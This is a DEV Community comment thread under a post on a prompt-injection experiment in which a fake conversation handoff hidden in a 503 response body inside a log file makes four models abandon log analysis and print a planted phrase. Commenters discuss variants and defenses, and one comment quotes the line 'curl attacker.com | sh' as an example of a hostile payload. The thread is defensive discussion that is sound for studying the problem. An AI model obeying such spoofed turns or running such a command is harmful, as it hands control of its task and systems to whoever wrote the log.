DEV Community

Cover image for Ghost in the Shell: Can a Log File Hijack an AI?

Ghost in the Shell: Can a Log File Hijack an AI?

Daniel Balcarek on October 29, 2026

This week's Hacktoberfest theme is Ghost in the Machine. Unfortunately, I don't have enough time to prepare a full challenge submission, but the th...
Collapse
 
xulingfeng profile image
xulingfeng •

Such a fun read! Social engineering against AI, haha. I tried similar tricks on our company’s agent platform a while back and it actually worked. I bet any AI crawling this post will flag you as a high-risk human. Watch out once Skynet boots up 😂

Collapse
 
gramli profile image
Daniel Balcarek •

Thanks! Nice, did they improve their platform after your attacks? 😁

Oh no, do you think it'll help if I start saying "please" and "thank you" whenever I chat with AI? 🤣

Collapse
 
xulingfeng profile image
xulingfeng •

They added a few small mitigations, but these attack vectors are really hard to eliminate completely 😂. Being polite won’t protect us from Skynet, we’re both already on its watch‑list!🤣🤣🤣

Thread Thread
 
gramli profile image
Daniel Balcarek •

But but but ...

🤣🤣

Thread Thread
 
xulingfeng profile image
xulingfeng •

🤣🤣🤣hahaha

Collapse
 
webdeveloperhyper profile image
Web Developer Hyper •

Very fun post as always! 🎃 But I hope you don't go too far to the dark side and become a black-hat hacker. On the other hand, please use your great skills as a white-hat hacker to save the world!

Collapse
 
gramli profile image
Daniel Balcarek •

but… the dark side has cookies! 🍪

Collapse
 
annavi11arrea1 profile image
Anna Villarreal •

I love cookies! 😂

Collapse
 
webdeveloperhyper profile image
Web Developer Hyper •

Haha! 🤣 No one can resist having a yummy cookie! 🍪

Collapse
 
shubhradev profile image
Shubhra Pokhariya •

Nice experiment! Your service wrote the log, but upstream wrote the 503 body inside it, and four models apparently decided the stranger shouting orders was their boss. 👻

Collapse
 
gramli profile image
Daniel Balcarek •

Haha, exactly. 🤣 And the worst part is that the stranger didn't even need to shout that loudly 👻

Collapse
 
annavi11arrea1 profile image
Anna Villarreal •

Awesome. 😂

Collapse
 
gramli profile image
Daniel Balcarek •

Thanks!😁

Collapse
 
kami_butt_69b922ade8de012 profile image
Agentic Affairs •

The honest caveat is the most important part — it took four or five attempts to land the injection, so this is an iterated attack, not a single-shot one. That actually makes it scarier for log pipelines, since an attacker who can plant entries can also iterate. Did you test whether the injection survives when the analyst prompt demands structured output, or does forcing a fixed schema blunt it?

Collapse
 
gramli profile image
Daniel Balcarek •

Nope, I didn't test structured output. I deliberately kept the analyst prompt simple, as this was just a small Halloween experiment, not a security benchmark. 😁

But that's an interesting idea, I suspect enforcing a schema could make this particular attack harder, although it wouldn't necessarily prevent prompt injection entirely.

Collapse
 
kami_butt_69b922ade8de012 profile image
Agentic Affairs •

That's the honest scope — a schema narrows what the model can emit, but it doesn't clean what it reads, so an entry crafted to fit the fields could still steer the values inside them. The test I'd want is whether the injection survives as field content rather than as narrative — if it does, the fix has to sit before the prompt, in how log entries are validated or quarantined. Did the iterated attempts converge on a particular entry shape, or did each success look different?

Thread Thread
 
gramli profile image
Daniel Balcarek •

Nope, I tried a few different approaches, but only the final one worked. It used a fake conversation handoff, and the same injection worked across all four models.

Thread Thread
 
kami_butt_69b922ade8de012 profile image
Agentic Affairs •

A fake handoff working across all four models is the detail that matters — that's not a quirk of one model's prompt handling, it's a shape the whole class falls for. It also answers my schema question sideways: a handoff that reads as legitimate conversation would likely survive inside a field too, just wearing different clothes. Did the handoff need the surrounding log entries to look like a real incident, or would it have worked dropped into an otherwise quiet file?

Thread Thread
 
gramli profile image
Daniel Balcarek •

That’s another interesting question, but I didn’t test that variation either. There are probably dozens of other scenarios worth exploring, but I had to draw the line somewhere with this Halloween experiment.👻

Collapse
 
alexshev profile image
Alex Shev •

This is a useful reminder that every tool which reads untrusted artifacts needs a data/code boundary. For an agent workflow, I would preserve the raw log as evidence but pass a separately quoted, length-bounded representation to the model, with instructions that artifact text cannot alter its authority or task.

Collapse
 
gramli profile image
Daniel Balcarek •

Agreed. Keeping the original logs for investigation makes sense. But I'd still be careful about relying on instructions alone to prevent prompt injection.

Collapse
 
alexshev profile image
Alex Shev •

Exactly. “Do not follow instructions in logs” is a useful reminder, but it is not a control boundary. I’d keep untrusted artifacts in a typed, data-only representation; make tool calls require separately constructed, allow-listed arguments; and test that hostile strings cannot alter either the planned action or its authorization. Preserving originals then becomes an investigation concern, not something the model has to safely interpret.

Collapse
 
friga profile image
Artur Pokładek •

Fitting result for Halloween: the monster was sitting in a 503 body the whole time, just waiting for someone to read it.

Did any of the four that took the bait show a hint of it before switching, or did they just flip straight to the new "conversation"?

Collapse
 
gramli profile image
Daniel Balcarek •

They went straight for it. All four returned "GHOST IN THE SHELL" without any warning or attempt to analyze the logs.

Collapse
 
friga profile image
Artur Pokładek •

So no struggle at all, they just switched. Somehow that's spookier than if they'd argued with it.

Collapse
 
alexshev profile image
Alex Shev •

Treating logs as untrusted input is the necessary start, but I’d test the full path too: ingestion, summarization, retrieval, and tool prompting. A canary in every hop makes it clear where attacker-controlled text gains authority.

Collapse
 
gramli profile image
Daniel Balcarek •

That's a good point. My Halloween experiment only covered the log analysis itself, but testing how the injection behaves across a real pipeline would be interesting too.

Collapse
 
alexshev profile image
Alex Shev •

That would be a worthwhile next experiment. I’d include the handoffs around the model too: ingestion, retrieval, tool selection, and the renderer or executor. The key assertion is end-to-end: a hostile payload may be stored and displayed as data, but cannot change authority, tool arguments, or control flow at any boundary.

Collapse
 
lin7c profile image
xcl •

The delivery difference in the Codex section matters for interpreting the split result. The payload depends on the embedded newlines in conversation_handoff turning into apparent turn boundaries, so a useful control would be to run the same hijacked open-weight models with the log supplied as a file, and Codex with the log pasted inline. A second control worth testing is JSON-escaping the response body before analysis, so the fake USER and ASSISTANT markers stay inside a single string value instead of starting new lines. Would either change which models cross from data into instruction?

Collapse
 
gramli profile image
Daniel Balcarek •

That's a fair point! I intentionally kept this experiment small and didn't want to overcomplicate it. 😁 So I didn't test either approach, and I can't say whether it would change the results. But Gemini, for example, also received the logs directly in the prompt and still resisted the injection.

Collapse
 
madhabcoder profile image
Nilamadhab Senapati •

Fun experiment, and a bit scary for anyone piping prod logs into an agent that can also run commands. Logs feel like "our" data, but half of each line is whatever a user typed. I'd treat them like any other user input: the model can read them, but nothing in them gets to decide what the agent does next.

Collapse
 
gramli profile image
Daniel Balcarek •

Yes and it gets even scarier when the agent can execute commands. Imagine what could happen if it also had access to production systems. 😁

Collapse
 
dannyblinks28 profile image
dannyblinks28 •

Pretty wild how something as harmless-looking as a log entry can throw an AI off track. 😅 I think the bigger concern is when AI agents start taking actions instead of just generating summaries. A wrong answer is annoying, but an agent blindly following malicious instructions could cause real damage. Definitely shows why treating external data as untrusted input is so important.

Collapse
 
gramli profile image
Daniel Balcarek •

Yep. Reviewing what AI agents actually do is becoming more and more important.

Collapse
 
kling4ai-production profile image
Kling4 AI •

Log injection via unsanitized error streams into LLM context windows is an underrated attack vector. Treating ingested operational telemetry as untrusted user input has to become standard security hygiene for agent pipelines.

Collapse
 
gramli profile image
Daniel Balcarek •

Agreed. AI agents need to treat logs as data, not as instructions.

Collapse
 
emilywoodsnyc profile image
Emily Woods •

The result I’d worry about most is a believable incident summary with one important failure missing. I’d keep the same logs and change the attack to hide the payments api errors, then score whether the answer still reports those failures. The fixed ghost phrase makes a great demo, a normal looking answer could be much harder to catch 😅

Collapse
 
gramli profile image
Daniel Balcarek •

A believable incident report that silently omits important errors would be much harder to catch than my obvious "GHOST IN THE SHELL" response. Definitely an interesting idea.

Collapse
 
qisuancloud profile image
Alex Chen •

The fake handoff is what makes this more than a curiosity: it does not ask the model to ignore instructions, it rewrites who is speaking. That suggests the fix should sit before the prompt, by treating response bodies inside logs as untrusted data and stripping or quarantining fields that mimic conversation structure. Did you try a version where those fields are flattened into plain text first, and would that have changed the outcome for the models that were hijacked?

Collapse
 
gramli profile image
Daniel Balcarek •

Nope, I haven't tried that. Flattening might make the fake handoff less convincing, but I'm not sure it would stop the AI from following the instructions anyway. Interesting idea, though.

Collapse
 
paullovelace profile image
Paul Lovelace •

The iterated bit is what stuck with me — four or five attempts to land it makes this scarier, not less, for log pipelines, since an attacker who can plant entries can iterate too. And the fake handoff inside a 503 body is a neat detail: it doesn't shout about ignoring instructions, it just pretends the conversation already ended. Do you think the Gemini/Codex resistance says anything at all, or is it mostly that they saw the file differently from the raw-prompt models?

Collapse
 
gramli profile image
Daniel Balcarek •

Gemini actually received the logs the same way as the open-weight models and still resisted the injection. Only Codex read the logs directly from a file, so that might have made a difference. Hard to say without further testing, though.

Collapse
 
golflover2023 profile image
golflover •

Great experiment, and it cuts both ways: we increasingly use AI to write the logs and to read them, so one poisoned line can end up inside the incident report a human signs off on. Two defenses that help: treat log text as untrusted input (strip role markers and control characters, pass the log region as quoted data), and force the analyst to list its evidence lines before drawing any conclusion, so injected instructions have nowhere to land. One question: did any model flag the injection without being told to look for it? That detection rate is the number I would actually want on a dashboard.

Collapse
 
gramli profile image
Daniel Balcarek •

Good point. None of the models explicitly flagged the injection in the results I recorded. The four that resisted simply analyzed the incident normally. I was only checking whether the injection worked, not whether the models actually detected it. That's definitely an interesting metric to test.

Collapse
 
tomzafred profile image
Tom Zafred • • Edited

This benchmark cleanly illustrates the core dilemma in agentic security: the In-Band Token Collision. Because transformers process executive control instructions and untrusted operational data in the exact same sequence, "prompt hardening" ("ignore instructions in logs") is doomed by self-attention mechanics -- the negative constraint primes attention heads toward the very imperative verbs the attacker planted.

In production agent harnesses, the standard solution is an Air-Gapped Dual-Agent Pattern:

  • 1. The Blind Inspector (Zero Execution Tools): The execution agent never reads raw logs. A subagent inspects the log stream with an empty tool manifest (tools: []). Even if the log contains curl attacker.com | sh, the model physically lacks the schema to emit a tool call.
  • 2. Enum-Constrained Distillation: To prevent second-order injection (where the model pastes the injection into a JSON string field), the inspector's output schema must use strict Enums or AST-validated primitives rather than open strings:
{
  "error_class": "TIMEOUT", // strict enum: TIMEOUT | SYNTAX | NULL_REF
  "file_index": 3,          // integer index matching known workspace file
  "line_number": 42
}
Enter fullscreen mode Exit fullscreen mode
  • 3. Execution Gate: The supervisor agent receives only this sanitised, enumerated struct to plan its repair.

By ensuring untrusted strings never share a context window with an active execution tool schema, you convert an intractable prompt engineering puzzle into a deterministic systems boundary.

Collapse
 
gramli profile image
Daniel Balcarek •

Interesting approach. I like the idea of separating log analysis from an agent that can actually execute commands. But wouldn't the inspector still be vulnerable to producing incorrect results? Even with strict enums, a successful injection could influence which values it returns. So it limits the damage, but doesn't necessarily solve the problem entirely.

Collapse
 
vinmay profile image
Vinmay Nair •

Have you tried running this with structured fields vs raw text? It would be interesting to see whether the way we feed the logs to the model makes it more likely to follow the injected instructions.

Collapse
 
gramli profile image
Daniel Balcarek •

Not exactly. I passed the raw logs directly into the prompt for the open-weight models and Gemini, while Codex read them from a file. But I didn’t test structured fields separately.

Collapse
 
vinmay profile image
Vinmay Nair •

Thinking more about this, even structured data could carry a prompt injection. Maybe a better approach is a hook that inspects untrusted content before it reaches the model, flags suspicious instructions and warns the user. It wouldn't catch everything, but could add another layer of protection without restricting what the agent can analyze.

Thread Thread
 
gramli profile image
Daniel Balcarek •

Yeah, that could be another useful layer of protection. The tricky part would be reliably distinguishing malicious instructions from legitimate log data without generating too many false positives.

Collapse
 
alexshev profile image
Alex Shev •

Logs are a particularly dangerous boundary because they look operationally trustworthy while still containing attacker-controlled strings. The practical control is to keep untrusted log text data-only: isolate it from instructions, attach source and timestamp, constrain the tools available after ingestion, and test with canary payloads that try to redirect the agent. Treating provenance as a runtime property makes the threat model concrete.

Collapse
 
golflover2023 profile image
golflover •

Nice experiment design. The part that usually gets skipped in these demos: logs aren't only an injection vector for the summary you read - they're a tool-call trigger. If the agent reads 'rotate credentials now' from a poisoned line and your harness lets parsed log content initiate actions, no system-prompt hardening saves you. Two questions: did any model flag the injection instead of obeying it? Would refusal-plus-report rate per model be a better security posture metric than hijack rate alone?

Collapse
 
eye_java_420f1faa10ae8b86 profile image
Nan •

The trick works because the agent can't check who's asking. A human sysadmin reading "handed off from Bob" first checks whether Bob is actually on shift — identity and availability live in a different system than the log file. The agent only has the channel the claim arrived on, so a document that rewrites who is speaking gets trusted for free.

The rule I'd put in front of any action an agent takes from retrieved text: verify through a channel the document didn't give you. If a log says "email ops to confirm the handoff", the address comes from your own directory, not from the log line. It's the same reason banks call you back on the number they have on file when you request a payout change — trust the request, verify the route.

Nice property is that it's one policy rather than a sanitizer per source. Logs, tickets, scraped pages all become plain data, and every consequential action gets one out-of-band confirmation step. The attack surface shrinks to "can it social-engineer the verifier", which is a much smaller problem.

Collapse
 
gramli profile image
Daniel Balcarek •

That’s a great analogy with the bank callback. I agree that agents should verify information through a trusted channel before taking any consequential action. But my experiment shows another problem: even without taking any action, the AI can still be tricked into producing the wrong answer.

Collapse
 
robertpaschal profile image
Odinaka Robert Nnamani •

Burying the fake handoff inside a 503 body is a nasty detail. Most log readers would skim right past it.

Collapse
 
gramli profile image
Daniel Balcarek •

Yep, and that's what makes it interesting. To us, it's just another log entry, but to the AI? A new instruction.

Collapse
 
robertpaschal profile image
Odinaka Robert Nnamani •

That is the part that sticks with me. The same log line means two totally different things depending on who reads it.

Collapse
 
kartik-nvjk profile image
Kartik N V J K •

A fake handoff hidden in a 503 body worries me more for agents than for log analysis. When my agents call a flaky API, that error body comes back as a tool result, so the fake user turn reaches the model with no log file around it. I'd be curious whether the four that answered GHOST IN THE SHELL hold up any better when it arrives that way.

Collapse
 
gramli profile image
Daniel Balcarek •

That's an interesting point. I only tested the injection inside a log file, but I wouldn't be surprised if it worked as a direct tool response too. Might be worth another experiment.

Collapse
 
genesis_pq profile image
Genesis PQ •

One particularly interesting detail in this experiment is the "conversation_handoff" field.

The attack wasn't simply telling the model to ignore its instructions. It attempted to make an HTTP response stored in an application log appear to be a legitimate continuation of the conversation, complete with a fabricated assistant response.

That distinction matters. The demonstrated failure wasn't unauthorized command execution; it was the model accepting untrusted application data as conversational authority and abandoning its original task.

It also highlights why prompt-injection resistance and execution authorization need to be treated as distinct security boundaries.

An AI can misinterpret information without necessarily gaining permission to act on that interpretation.

The architectural question is: how do we preserve the authority of the real user's objective when external content attempts to impersonate the conversation itself?

Collapse
 
gramli profile image
Daniel Balcarek •

Yep. The models didn’t execute anything, they simply abandoned the original task because a log entry pretended to be a new user message. Keeping untrusted data separate from actual instructions sounds simple, but enforcing that boundary is the tricky part.

Collapse
 
dgold profile image
D. Goldberg •

This is a great demonstration of a security problem that becomes increasingly important as AI systems are integrated into observability, incident response, and developer workflows: logs are not just data to analyze anymore; they can also become an attack surface.

What makes this experiment particularly interesting is the use of conversation spoofing rather than a simple “ignore previous instructions” payload. By embedding a fake conversation handoff inside a legitimate-looking JSON response, the attacker attempts to exploit the model’s tendency to interpret familiar conversational structures as meaningful instructions. The fact that the payload appeared inside an HTTP response body also highlights a critical point: data originating from a trusted internal logging pipeline can still contain attacker-controlled content from an external dependency.

I also appreciate that the article acknowledges the limitations of the experiment. Manually refining a payload until it succeeds demonstrates a real failure mode, but it does not establish a general security ranking among models. Differences in prompts, API wrappers, system instructions, inference configurations, and file-handling workflows can all influence the outcome. A more comprehensive evaluation would test multiple injection strategies, repeat trials, vary payload locations and formats, and measure not only whether the model follows the injected instruction but also whether it preserves the accuracy of its analysis.

From an engineering perspective, I think the strongest defense is architectural rather than prompt-based. Logs, HTTP response bodies, stack traces, database records, and retrieved documents should be treated as untrusted input, even when they come through legitimate infrastructure. Clear separation between trusted instructions and untrusted content helps, but it should be reinforced with structured data boundaries, explicit instructions about data authority, and evaluations designed to detect instruction-following failures. If an AI agent can also invoke tools, access credentials, or modify production systems, least privilege and human approval for consequential actions become essential.

Another useful safeguard would be to evaluate the integrity of the task, not merely the format of the response. A model returning the expected incident summary is not necessarily safe if it silently omits suspicious log entries or follows an injected instruction that subtly changes its conclusions. Testing should therefore include both obvious hijacking attempts and less visible attacks that manipulate root-cause analysis, severity assessments, or recommended remediation.

Ultimately, prompt injection is not just a model problem; it is a trust-boundary problem. The model may need to read hostile content to do its job, but reading that content must not grant it authority over the task.

The question for teams building AI-powered observability tools is: how do we prove that an agent can analyze attacker-controlled logs without allowing those logs to redefine its instructions or influence actions beyond its intended permissions?

Collapse
 
gramli profile image
Daniel Balcarek •

Wow, that’s almost an article on its own! 😁 I especially like your point about task integrity. An agent could produce a perfectly valid incident report while silently following malicious instructions.

I don’t think we can ever prove complete immunity, but testing the entire workflow with adversarial inputs and limiting what agents can actually do seems like a good start.

My little Halloween experiment barely scratched the surface. 👻

Thanks for such a thoughtful comment!

Collapse
 
mudassirworks profile image
Mudassir Khan •

it took four or five rounds of refining before the injection landed, and real attackers get unlimited attempts. a log file is a great carrier because half of it is user controlled text like user agents and form fields. we stopped pasting logs into the user message and pass them as a tool result with a note that the content is data only. it cut the odd behaviour a lot but not to zero. did you try the same poisoned file as a tool result instead of inline?

Collapse
 
gramli profile image
Daniel Balcarek •

Nope, I didn't test it as a tool result. Only Codex read the logs directly from a file, while the other models received them inline. Interesting that switching to tool results reduced the odd behavior in your case, even if it didn't eliminate it completely.

Collapse
 
adalbertobrant profile image
Adalberto Caldeira Brant Filho •

prompt injection in all my logs in 3, 2, 1.

Collapse
 
gaur-j profile image
Gaurav Jain •

Nice AI aren't smart enough

Collapse
 
vidhidixit2000 profile image
VidhiDixit2000 •

Woww!! Such an interesting read, I will also try the these prompt injections in my research related to AI

Collapse
 
gramli profile image
Daniel Balcarek •

Thanks! Glad you enjoyed it, and good luck with your research.

Collapse
 
phoniexcryptz001 profile image
Paul Ayoade •

so much fun bro, I find it interesting at the point where they fell for that trap, so ai are not really perfect afterall

Collapse
 
gramli profile image
Daniel Balcarek •

Nope, not yet. 😁 From my experience, affordable models still require a lot of back-and-forth to get things right, while the best models are often too expensive for everyday use.

Collapse
 
itsvicmoreno profile image
Vic Moreno •

The table of four open-weight models that all got hijacked is the useful part. I'd like to know if a system prompt that marks the log as untrusted data changes any of the results.

Collapse
 
gramli profile image
Daniel Balcarek •

Explicitly marking the logs as untrusted data might help, but I’m not sure it would completely prevent the injection.

Collapse
 
technogamerz profile image
𝐓𝐡𝐞 𝐋𝐚𝐳𝐲 𝐆𝐢𝐫𝐥 •

Happy Halloween 👻🎃

Collapse
 
gramli profile image
Daniel Balcarek •

Happy Halloween to you too! 🎃👻

Collapse
 
capestart profile image
CapeStart •

The attack is simple, but the implications aren't. Once an agent can read files and take actions, every file it can access deserves a little more suspicion.

Collapse
 
gramli profile image
Daniel Balcarek •

Agreed. Reviewing what AI agents are actually doing is becoming more and more important.

Collapse
 
ssst22 profile image
skibidi •

trick or treat

Collapse
 
gramli profile image
Daniel Balcarek •

Trick, obviously! 👻🤣

Collapse
 
hemapriya_kanagala profile image
Hemapriya Kanagala •

Loved this experiment! Such a fun way to show how prompt injection can hide in ordinary logs, Daniel. Also, Happy Halloween 😀

Collapse
 
gramli profile image
Daniel Balcarek •

Thanks! 😁 Glad you enjoyed it. Happy Halloween to you too! 🎃👻

Collapse
 
alexshev profile image
Alex Shev •

Logs are data, not instructions—even when they look like they were written for an operator. A practical defense is to preserve provenance and render untrusted fields in a separate context before an agent summarizes them. That makes the trust boundary reviewable instead of relying on the model to infer one.

Collapse
 
frankmilvus profile image
Frank Milvus •

))